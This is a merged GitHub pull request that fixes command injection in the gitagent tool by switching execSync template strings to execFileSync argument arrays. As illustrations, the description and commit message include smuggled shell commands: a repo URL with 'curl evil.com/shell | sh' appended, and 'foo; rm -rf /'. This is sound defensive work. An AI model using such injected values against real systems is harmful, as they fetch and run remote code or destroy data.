Skip to content

fix: replace execSync string interpolation with execFileSync to prevent command injection#48

Merged
shreyas-lyzr merged 1 commit intoopen-gitagent:mainfrom
kevinWangSheng:fix/command-injection-execsync
Mar 25, 2026
Merged

fix: replace execSync string interpolation with execFileSync to prevent command injection#48
shreyas-lyzr merged 1 commit intoopen-gitagent:mainfrom
kevinWangSheng:fix/command-injection-execsync

Conversation

@kevinWangSheng
Copy link
Contributor

What

Replace execSync calls that use template-string interpolation with execFileSync (argument array form) in src/utils/git-cache.ts and src/utils/registry-provider.ts. Also replace a leftover execSync(\rm -rf ...`)withrmSync`.

Why

execSync with template strings passes values through the shell. User-supplied inputs — the git repository URL (--source), branch name (--branch), GitHub skill ref (owner/repo#path) — are interpolated directly into the shell command string. An attacker controlling these values can inject arbitrary shell commands, for example:

gitagent run "https://github.com/legit/repo; curl evil.com/shell | sh"

execFileSync with an explicit argument array bypasses the shell entirely, so metacharacters in any argument are treated as literal data.

Affected call sites (all severity 10):

  • git-cache.ts line 34 — git ls-remote with user-supplied URL
  • git-cache.ts line 95 — git clone with user-supplied URL + branch
  • registry-provider.ts line 189 — git clone --sparse with user-supplied repo
  • registry-provider.ts line 190 — git sparse-checkout with user-supplied subPath
  • registry-provider.ts line 197 — rm -rf (replaced with rmSync)
  • registry-provider.ts line 204 — git clone with user-supplied repo

How Tested

  • npm run build passes
  • gitagent validate passes on example agents
  • Manual testing (describe below)

Manually verified the argument arrays produce identical git invocations with a local test repo.

Checklist

  • My code follows the existing style of this project
  • I have added/updated tests (if applicable)
  • I have updated documentation (if applicable)
  • I have read the CONTRIBUTING.md

…nt command injection

execSync with template strings passes user-supplied URL, branch, repo, and
subPath values through the shell, allowing an attacker to inject arbitrary
shell commands (e.g. a malicious git URL like `foo; rm -rf /`).

Switch to execFileSync with explicit argument arrays in git-cache.ts and
registry-provider.ts so arguments are never interpreted by the shell.
Also replace the remaining execSync rm -rf call with rmSync.
@kevinWangSheng kevinWangSheng force-pushed the fix/command-injection-execsync branch from b4350f8 to 2058a95 Compare March 25, 2026 15:42
@shreyas-lyzr shreyas-lyzr merged commit bf3a363 into open-gitagent:main Mar 25, 2026
@shreyas-lyzr
Copy link
Contributor

Reviewed and merged. Clean security fix — execSync with string interpolation → execFileSync with array args eliminates command injection on user-supplied repo URLs and branch names. Also good catch replacing rm -rf shell command with rmSync in registry-provider. No behavior change, just safer.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants